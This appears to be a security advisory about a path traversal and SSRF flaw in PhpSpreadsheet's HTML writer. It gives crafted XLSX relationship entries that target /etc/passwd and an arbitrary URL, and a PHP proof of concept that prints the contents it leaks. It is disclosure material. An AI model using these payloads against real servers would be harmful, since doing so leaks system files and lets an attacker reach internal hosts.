PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory: